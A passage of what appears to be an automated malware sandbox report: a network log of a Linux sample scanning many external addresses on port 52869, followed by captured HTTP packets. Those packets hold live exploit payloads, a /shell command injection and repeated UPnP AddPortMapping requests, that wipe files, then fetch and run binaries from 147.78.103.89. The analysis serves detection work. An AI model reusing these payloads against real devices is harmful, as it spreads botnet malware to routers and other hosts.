                                                      Mar 13, 2024 16:26:05.084361076 CET748052869192.168.2.1591.40.159.196
                                                      Mar 13, 2024 16:26:05.084367990 CET748052869192.168.2.1591.40.91.101
                                                      Mar 13, 2024 16:26:05.084379911 CET748052869192.168.2.1545.21.122.131
                                                      Mar 13, 2024 16:26:05.084384918 CET748052869192.168.2.1545.121.55.23
                                                      Mar 13, 2024 16:26:05.084384918 CET748052869192.168.2.1545.88.230.8
                                                      Mar 13, 2024 16:26:05.084384918 CET748052869192.168.2.15185.232.204.14
                                                      Mar 13, 2024 16:26:05.084393024 CET748052869192.168.2.1545.234.160.83
                                                      Mar 13, 2024 16:26:05.084394932 CET748052869192.168.2.1591.193.80.160
                                                      Mar 13, 2024 16:26:05.084394932 CET748052869192.168.2.15185.52.223.58
                                                      Mar 13, 2024 16:26:05.084404945 CET748052869192.168.2.15185.200.247.43
                                                      Mar 13, 2024 16:26:05.084407091 CET748052869192.168.2.1591.62.250.249
                                                      Mar 13, 2024 16:26:05.084408045 CET748052869192.168.2.15185.7.79.64
                                                      Mar 13, 2024 16:26:05.084408045 CET748052869192.168.2.15185.183.4.242
                                                      Mar 13, 2024 16:26:05.084413052 CET748052869192.168.2.1545.67.72.29
                                                      Mar 13, 2024 16:26:05.084429026 CET748052869192.168.2.15185.155.17.77
                                                      Mar 13, 2024 16:26:05.084440947 CET748052869192.168.2.15185.43.176.9
                                                      Mar 13, 2024 16:26:05.084441900 CET748052869192.168.2.15185.100.81.8
                                                      Mar 13, 2024 16:26:05.084466934 CET748052869192.168.2.1545.63.65.23
                                                      Mar 13, 2024 16:26:05.084472895 CET748052869192.168.2.15185.115.22.166
                                                      Mar 13, 2024 16:26:05.084482908 CET748052869192.168.2.15185.234.234.228
                                                      Mar 13, 2024 16:26:05.084482908 CET748052869192.168.2.1545.106.171.67
                                                      Mar 13, 2024 16:26:05.084482908 CET748052869192.168.2.1545.148.46.2
                                                      Mar 13, 2024 16:26:05.084482908 CET748052869192.168.2.1591.147.39.143
                                                      Mar 13, 2024 16:26:05.084487915 CET748052869192.168.2.1545.167.93.88
                                                      Mar 13, 2024 16:26:05.084496975 CET748052869192.168.2.1545.98.118.248
                                                      Mar 13, 2024 16:26:05.084506989 CET748052869192.168.2.1545.141.132.43
                                                      Mar 13, 2024 16:26:05.084506989 CET748052869192.168.2.15185.114.191.51
                                                      Mar 13, 2024 16:26:05.084506989 CET748052869192.168.2.15185.172.187.14
                                                      Mar 13, 2024 16:26:05.084522009 CET748052869192.168.2.1545.19.69.75
                                                      Mar 13, 2024 16:26:05.084522009 CET748052869192.168.2.15185.120.239.62
                                                      Mar 13, 2024 16:26:05.084523916 CET748052869192.168.2.1545.191.251.128
                                                      Mar 13, 2024 16:26:05.084522009 CET748052869192.168.2.1591.182.123.254
                                                      Mar 13, 2024 16:26:05.084523916 CET748052869192.168.2.15185.183.110.187
                                                      Mar 13, 2024 16:26:05.084525108 CET748052869192.168.2.1591.137.158.100
                                                      Mar 13, 2024 16:26:05.084528923 CET748052869192.168.2.1591.21.39.5
                                                      Mar 13, 2024 16:26:05.084528923 CET748052869192.168.2.1545.169.190.185
                                                      Mar 13, 2024 16:26:05.084528923 CET748052869192.168.2.15185.131.147.213
                                                      Mar 13, 2024 16:26:05.084549904 CET748052869192.168.2.1591.159.57.103
                                                      Mar 13, 2024 16:26:05.084557056 CET748052869192.168.2.1591.92.207.136
                                                      Mar 13, 2024 16:26:05.084562063 CET748052869192.168.2.1591.212.20.124
                                                      Mar 13, 2024 16:26:05.084562063 CET748052869192.168.2.1545.240.37.124
                                                      Mar 13, 2024 16:26:05.084562063 CET748052869192.168.2.15185.163.29.123
                                                      Mar 13, 2024 16:26:05.084563017 CET748052869192.168.2.1545.221.177.38
                                                      Mar 13, 2024 16:26:05.084564924 CET748052869192.168.2.15185.209.42.56
                                                      Mar 13, 2024 16:26:05.084566116 CET748052869192.168.2.1545.237.250.76
                                                      Mar 13, 2024 16:26:05.084584951 CET748052869192.168.2.1545.251.5.181
                                                      Mar 13, 2024 16:26:05.084598064 CET748052869192.168.2.1545.198.162.98
                                                      Mar 13, 2024 16:26:05.084599018 CET748052869192.168.2.1591.205.133.144
                                                      Mar 13, 2024 16:26:05.084599018 CET748052869192.168.2.15185.6.104.183
                                                      Mar 13, 2024 16:26:05.084615946 CET748052869192.168.2.15185.213.12.105
                                                      Mar 13, 2024 16:26:05.084615946 CET748052869192.168.2.1591.32.95.11
                                                      Mar 13, 2024 16:26:05.084618092 CET748052869192.168.2.1591.59.19.71
                                                      Mar 13, 2024 16:26:05.084618092 CET748052869192.168.2.1545.10.122.240
                                                      Mar 13, 2024 16:26:05.084618092 CET748052869192.168.2.1591.5.45.106
                                                      Mar 13, 2024 16:26:05.084623098 CET748052869192.168.2.1545.63.218.217
                                                      Mar 13, 2024 16:26:05.084623098 CET748052869192.168.2.1591.206.214.161
                                                      Mar 13, 2024 16:26:05.084630013 CET748052869192.168.2.1591.216.6.25
                                                      Mar 13, 2024 16:26:05.084638119 CET748052869192.168.2.1545.80.231.242
                                                      Mar 13, 2024 16:26:05.084645987 CET748052869192.168.2.1591.251.98.48
                                                      Mar 13, 2024 16:26:05.084650040 CET748052869192.168.2.1591.239.165.171
                                                      Mar 13, 2024 16:26:05.084654093 CET748052869192.168.2.1591.154.24.224
                                                      Mar 13, 2024 16:26:05.084671021 CET748052869192.168.2.15185.255.245.70
                                                      Mar 13, 2024 16:26:05.084672928 CET748052869192.168.2.1545.186.158.186
                                                      Mar 13, 2024 16:26:05.084682941 CET748052869192.168.2.1591.37.151.74
                                                      Mar 13, 2024 16:26:05.084717035 CET748052869192.168.2.15185.112.126.221
                                                      Mar 13, 2024 16:26:05.084717989 CET748052869192.168.2.1591.67.70.23
                                                      Mar 13, 2024 16:26:05.084736109 CET748052869192.168.2.1591.64.187.252
                                                      Mar 13, 2024 16:26:05.084738016 CET748052869192.168.2.1545.107.162.139
                                                      Mar 13, 2024 16:26:05.084738970 CET748052869192.168.2.15185.119.255.162
                                                      Mar 13, 2024 16:26:05.084738970 CET748052869192.168.2.15185.191.153.221
                                                      Mar 13, 2024 16:26:05.084738016 CET748052869192.168.2.1545.145.23.174
                                                      Mar 13, 2024 16:26:05.084753036 CET748052869192.168.2.15185.63.142.6
                                                      Mar 13, 2024 16:26:05.084754944 CET748052869192.168.2.1591.105.223.135
                                                      Mar 13, 2024 16:26:05.084754944 CET748052869192.168.2.1591.43.107.248
                                                      Mar 13, 2024 16:26:05.084758043 CET748052869192.168.2.1545.162.49.208
                                                      Mar 13, 2024 16:26:05.084763050 CET748052869192.168.2.1591.244.61.75
                                                      Mar 13, 2024 16:26:05.084770918 CET748052869192.168.2.1545.223.39.12
                                                      Mar 13, 2024 16:26:05.084770918 CET748052869192.168.2.15185.35.110.108
                                                      Mar 13, 2024 16:26:05.084786892 CET748052869192.168.2.1545.170.88.235
                                                      Mar 13, 2024 16:26:05.084788084 CET748052869192.168.2.1545.45.63.248
                                                      Mar 13, 2024 16:26:05.084788084 CET748052869192.168.2.15185.201.221.236
                                                      Mar 13, 2024 16:26:05.084793091 CET748052869192.168.2.1545.42.142.129
                                                      Mar 13, 2024 16:26:05.084793091 CET748052869192.168.2.1545.172.210.117
                                                      Mar 13, 2024 16:26:05.084795952 CET748052869192.168.2.15185.212.230.176
                                                      Mar 13, 2024 16:26:05.084800959 CET748052869192.168.2.1591.62.70.157
                                                      Mar 13, 2024 16:26:05.084800959 CET748052869192.168.2.1545.230.207.93
                                                      Mar 13, 2024 16:26:05.084811926 CET748052869192.168.2.1545.172.60.114
                                                      Mar 13, 2024 16:26:05.084811926 CET748052869192.168.2.1545.106.178.149
                                                      Mar 13, 2024 16:26:05.084815025 CET748052869192.168.2.1545.231.152.66
                                                      Mar 13, 2024 16:26:05.084825993 CET748052869192.168.2.15185.108.201.103
                                                      Mar 13, 2024 16:26:05.084831953 CET748052869192.168.2.1545.118.221.204
                                                      Mar 13, 2024 16:26:05.084836960 CET748052869192.168.2.15185.151.107.123
                                                      Mar 13, 2024 16:26:05.084844112 CET748052869192.168.2.1591.186.36.238
                                                      Mar 13, 2024 16:26:05.084846973 CET748052869192.168.2.15185.202.152.78
                                                      Mar 13, 2024 16:26:05.084860086 CET748052869192.168.2.1545.122.84.87
                                                      Mar 13, 2024 16:26:05.084863901 CET748052869192.168.2.15185.86.185.245
                                                      Mar 13, 2024 16:26:05.084863901 CET748052869192.168.2.15185.13.234.91
                                                      Mar 13, 2024 16:26:05.084863901 CET748052869192.168.2.1545.230.114.137
                                                      Mar 13, 2024 16:26:05.084863901 CET748052869192.168.2.1545.252.10.29
                                                      Mar 13, 2024 16:26:05.084865093 CET748052869192.168.2.15185.0.135.64
                                                      Mar 13, 2024 16:26:05.084881067 CET748052869192.168.2.15185.197.23.83
                                                      Mar 13, 2024 16:26:05.084881067 CET748052869192.168.2.1591.133.188.15
                                                      Mar 13, 2024 16:26:05.084882975 CET748052869192.168.2.15185.10.189.203
                                                      Mar 13, 2024 16:26:05.084882975 CET748052869192.168.2.1545.5.228.98
                                                      Mar 13, 2024 16:26:05.084884882 CET748052869192.168.2.1545.108.153.53
                                                      Mar 13, 2024 16:26:05.084884882 CET748052869192.168.2.15185.179.14.221
                                                      Mar 13, 2024 16:26:05.084889889 CET748052869192.168.2.1591.88.180.135
                                                      Mar 13, 2024 16:26:05.084898949 CET748052869192.168.2.1591.253.227.148
                                                      Mar 13, 2024 16:26:05.084902048 CET748052869192.168.2.1591.176.128.133
                                                      Mar 13, 2024 16:26:05.084916115 CET748052869192.168.2.1545.166.98.129
                                                      Mar 13, 2024 16:26:05.084918022 CET748052869192.168.2.15185.129.150.227
                                                      Mar 13, 2024 16:26:05.084918022 CET748052869192.168.2.1545.148.168.167
                                                      Mar 13, 2024 16:26:05.084920883 CET748052869192.168.2.15185.90.7.185
                                                      Mar 13, 2024 16:26:05.084923983 CET748052869192.168.2.1591.174.237.151
                                                      Mar 13, 2024 16:26:05.084923983 CET748052869192.168.2.1591.70.163.200
                                                      Mar 13, 2024 16:26:05.084927082 CET748052869192.168.2.1545.207.66.106
                                                      Mar 13, 2024 16:26:05.084927082 CET748052869192.168.2.1591.222.162.32
                                                      Mar 13, 2024 16:26:05.084927082 CET748052869192.168.2.1591.35.163.179
                                                      Mar 13, 2024 16:26:05.084956884 CET748052869192.168.2.1545.28.112.241
                                                      Mar 13, 2024 16:26:05.084965944 CET748052869192.168.2.1545.214.80.248
                                                      Mar 13, 2024 16:26:05.084966898 CET748052869192.168.2.15185.38.231.28
                                                      Mar 13, 2024 16:26:05.084968090 CET748052869192.168.2.1591.79.3.16
                                                      Mar 13, 2024 16:26:05.084985018 CET748052869192.168.2.1545.124.51.221
                                                      Mar 13, 2024 16:26:05.084986925 CET748052869192.168.2.15185.100.58.77
                                                      Mar 13, 2024 16:26:05.084986925 CET748052869192.168.2.1545.214.255.221
                                                      Mar 13, 2024 16:26:05.084995031 CET748052869192.168.2.1591.154.89.38
                                                      Mar 13, 2024 16:26:05.085006952 CET748052869192.168.2.1545.124.7.240
                                                      Mar 13, 2024 16:26:05.085006952 CET748052869192.168.2.15185.95.226.61
                                                      Mar 13, 2024 16:26:05.085017920 CET748052869192.168.2.1591.19.137.137
                                                      Mar 13, 2024 16:26:05.085020065 CET748052869192.168.2.1545.237.25.220
                                                      Mar 13, 2024 16:26:05.085030079 CET748052869192.168.2.15185.44.41.110
                                                      Mar 13, 2024 16:26:05.085035086 CET748052869192.168.2.1545.82.142.181
                                                      Mar 13, 2024 16:26:05.085038900 CET748052869192.168.2.1591.253.49.159
                                                      Mar 13, 2024 16:26:05.085040092 CET748052869192.168.2.15185.251.195.129
                                                      Mar 13, 2024 16:26:05.085040092 CET748052869192.168.2.15185.231.129.212
                                                      Mar 13, 2024 16:26:05.085047007 CET748052869192.168.2.1545.188.30.9
                                                      Mar 13, 2024 16:26:05.085051060 CET748052869192.168.2.1545.18.101.132
                                                      Mar 13, 2024 16:26:05.085067034 CET748052869192.168.2.1591.205.121.6
                                                      Mar 13, 2024 16:26:05.085067987 CET748052869192.168.2.1545.78.138.100
                                                      Mar 13, 2024 16:26:05.085067987 CET748052869192.168.2.15185.112.26.1
                                                      Mar 13, 2024 16:26:05.085071087 CET748052869192.168.2.1545.67.83.180
                                                      Mar 13, 2024 16:26:05.085071087 CET748052869192.168.2.1591.46.224.141
                                                      Mar 13, 2024 16:26:05.085084915 CET748052869192.168.2.15185.48.25.211
                                                      Mar 13, 2024 16:26:05.085084915 CET748052869192.168.2.15185.139.6.69
                                                      Mar 13, 2024 16:26:05.085088968 CET748052869192.168.2.1591.175.12.141
                                                      Mar 13, 2024 16:26:05.085091114 CET748052869192.168.2.15185.172.128.158
                                                      Mar 13, 2024 16:26:05.085091114 CET748052869192.168.2.15185.174.233.136
                                                      Mar 13, 2024 16:26:05.085098982 CET748052869192.168.2.15185.34.31.167
                                                      Mar 13, 2024 16:26:05.085099936 CET748052869192.168.2.1545.8.132.30
                                                      Mar 13, 2024 16:26:05.085103989 CET748052869192.168.2.15185.184.215.21
                                                      Mar 13, 2024 16:26:05.085130930 CET748052869192.168.2.1545.42.173.247
                                                      Mar 13, 2024 16:26:05.085130930 CET748052869192.168.2.15185.159.67.175
                                                      Mar 13, 2024 16:26:05.085131884 CET748052869192.168.2.1545.145.83.116
                                                      Mar 13, 2024 16:26:05.085150003 CET748052869192.168.2.1545.92.238.244
                                                      Mar 13, 2024 16:26:05.085156918 CET748052869192.168.2.1545.145.217.248
                                                      Mar 13, 2024 16:26:05.085159063 CET748052869192.168.2.1591.99.24.186
                                                      Mar 13, 2024 16:26:05.085164070 CET748052869192.168.2.15185.144.205.40
                                                      Mar 13, 2024 16:26:05.085170031 CET748052869192.168.2.15185.129.66.47
                                                      Mar 13, 2024 16:26:05.085170984 CET748052869192.168.2.15185.8.121.190
                                                      Mar 13, 2024 16:26:05.085180998 CET748052869192.168.2.1591.26.105.254
                                                      Mar 13, 2024 16:26:05.085185051 CET748052869192.168.2.15185.219.31.171

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Mar 13, 2024 16:28:42.376235008 CET192.168.2.151.1.1.10xe9b1Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                                      Mar 13, 2024 16:28:42.376319885 CET192.168.2.151.1.1.10xb0e8Standard query (0)daisy.ubuntu.com28IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Mar 13, 2024 16:28:42.467003107 CET1.1.1.1192.168.2.150xe9b1No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                                      Mar 13, 2024 16:28:42.467003107 CET1.1.1.1192.168.2.150xe9b1No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                                                      HTTP Packets

                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      0192.168.2.1546904159.71.193.375501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:10.228883028 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      1192.168.2.155271045.207.136.17552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:23.466346979 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:27.643738031 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:33.787539005 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.819221973 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
